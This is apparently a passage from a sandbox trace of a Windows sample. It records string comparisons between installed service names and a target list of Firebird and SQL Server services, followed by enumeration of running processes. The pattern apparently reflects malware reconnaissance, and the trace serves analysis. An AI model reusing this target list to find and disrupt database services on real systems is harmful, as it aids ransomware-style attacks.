	[0133.802] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0133.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0133.802] lstrlenW (lpString="lmhosts") returned 7
	[0133.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0133.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0133.802] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0133.802] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0133.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0133.802] lstrlenW (lpString="LSM") returned 3
	[0133.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0133.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0133.803] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0133.803] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0133.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0133.803] lstrlenW (lpString="MpsSvc") returned 6
	[0133.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0133.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0133.803] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0133.803] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0133.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0133.803] lstrlenW (lpString="NcbService") returned 10
	[0133.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0133.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0133.803] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0133.803] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0133.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0133.803] lstrlenW (lpString="netprofm") returned 8
	[0133.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0133.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0133.803] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0133.803] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0133.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0133.803] lstrlenW (lpString="NgcSvc") returned 6
	[0133.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0133.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0133.804] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0133.804] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0133.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0133.804] lstrlenW (lpString="NlaSvc") returned 6
	[0133.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0133.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0133.804] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0133.804] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0133.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0133.804] lstrlenW (lpString="nsi") returned 3
	[0133.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0133.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0133.804] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0133.804] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0133.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0133.804] lstrlenW (lpString="PcaSvc") returned 6
	[0133.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0133.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0133.804] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0133.804] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0133.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0133.804] lstrlenW (lpString="PlugPlay") returned 8
	[0133.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0134.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0134.048] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0134.048] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0134.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0134.048] lstrlenW (lpString="Power") returned 5
	[0134.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0134.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0134.048] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0134.048] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0134.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0134.048] lstrlenW (lpString="ProfSvc") returned 7
	[0134.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0134.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0134.048] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0134.048] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0134.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0134.048] lstrlenW (lpString="RpcEptMapper") returned 12
	[0134.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0134.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0134.048] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0134.048] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0134.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0134.048] lstrlenW (lpString="RpcSs") returned 5
	[0134.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0134.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0134.049] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0134.049] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0134.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0134.049] lstrlenW (lpString="SamSs") returned 5
	[0134.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0134.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0134.049] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0134.049] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0134.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0134.049] lstrlenW (lpString="Schedule") returned 8
	[0134.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0134.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0134.049] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0134.049] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0134.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0134.049] lstrlenW (lpString="SecurityHealthService") returned 21
	[0134.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0134.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0134.049] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0134.049] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0134.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0134.049] lstrlenW (lpString="SENS") returned 4
	[0134.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0134.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0134.049] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0134.049] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0134.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0134.050] lstrlenW (lpString="ShellHWDetection") returned 16
	[0134.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0134.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0134.050] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0134.050] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0134.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0134.050] lstrlenW (lpString="Spooler") returned 7
	[0134.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0134.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0134.050] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0134.050] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0134.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0134.050] lstrlenW (lpString="StateRepository") returned 15
	[0134.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0134.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0134.050] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0134.050] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0134.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0134.050] lstrlenW (lpString="SysMain") returned 7
	[0134.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0134.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0134.050] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0134.050] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0134.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0134.050] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0134.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0134.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0134.051] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0134.051] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0134.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0134.051] lstrlenW (lpString="Themes") returned 6
	[0134.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0134.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0134.051] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0134.051] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0134.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0134.051] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0134.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0134.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0134.051] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0134.051] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0134.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1
	[0134.051] lstrlenW (lpString="TimeBrokerSvc") returned 13
	[0134.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0134.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0134.051] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1
	[0134.051] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1
	[0134.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5df960 | out: hHeap=0x4f0000) returned 1
	[0134.051] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x314
	[0134.058] Process32FirstW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0134.059] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0134.060] lstrlenW (lpString="System") returned 6
	[0134.060] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0134.061] lstrlenW (lpString="smss.exe") returned 8
	[0134.061] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0134.062] lstrlenW (lpString="csrss.exe") returned 9
	[0134.062] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0134.063] lstrlenW (lpString="wininit.exe") returned 11
	[0134.063] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0134.063] lstrlenW (lpString="csrss.exe") returned 9
	[0134.063] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0134.064] lstrlenW (lpString="winlogon.exe") returned 12
	[0134.064] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0134.065] lstrlenW (lpString="services.exe") returned 12
	[0134.065] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0134.066] lstrlenW (lpString="lsass.exe") returned 9
	[0134.066] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0134.067] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0134.067] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0134.068] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0134.068] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0134.069] lstrlenW (lpString="svchost.exe") returned 11
	[0134.069] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0134.069] lstrlenW (lpString="svchost.exe") returned 11
	[0134.069] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0134.071] lstrlenW (lpString="dwm.exe") returned 7
	[0134.071] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0134.071] lstrlenW (lpString="svchost.exe") returned 11
	[0134.071] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0134.072] lstrlenW (lpString="svchost.exe") returned 11
	[0134.072] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0134.073] lstrlenW (lpString="svchost.exe") returned 11
	[0134.073] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0134.074] lstrlenW (lpString="svchost.exe") returned 11
	[0134.074] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0134.075] lstrlenW (lpString="svchost.exe") returned 11
	[0134.075] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0134.076] lstrlenW (lpString="svchost.exe") returned 11
	[0134.076] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0134.077] lstrlenW (lpString="svchost.exe") returned 11
	[0134.077] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0134.077] lstrlenW (lpString="svchost.exe") returned 11
	[0134.077] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0134.078] lstrlenW (lpString="svchost.exe") returned 11
	[0134.078] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0134.079] lstrlenW (lpString="svchost.exe") returned 11
	[0134.079] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0134.080] lstrlenW (lpString="spoolsv.exe") returned 11
	[0134.080] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0134.081] lstrlenW (lpString="svchost.exe") returned 11
	[0134.081] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0134.081] lstrlenW (lpString="audiodg.exe") returned 11
	[0134.081] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0134.082] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0134.082] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0134.083] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0134.083] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0134.084] lstrlenW (lpString="sihost.exe") returned 10
	[0134.084] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0134.085] lstrlenW (lpString="Memory Compression") returned 18
	[0134.085] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0134.086] lstrlenW (lpString="svchost.exe") returned 11
	[0134.086] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0134.293] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0134.293] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0134.294] lstrlenW (lpString="taskhostw.exe") returned 13
	[0134.294] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0134.295] lstrlenW (lpString="msoia.exe") returned 9
	[0134.295] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0134.295] lstrlenW (lpString="taskhostw.exe") returned 13
	[0134.296] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0134.296] lstrlenW (lpString="explorer.exe") returned 12
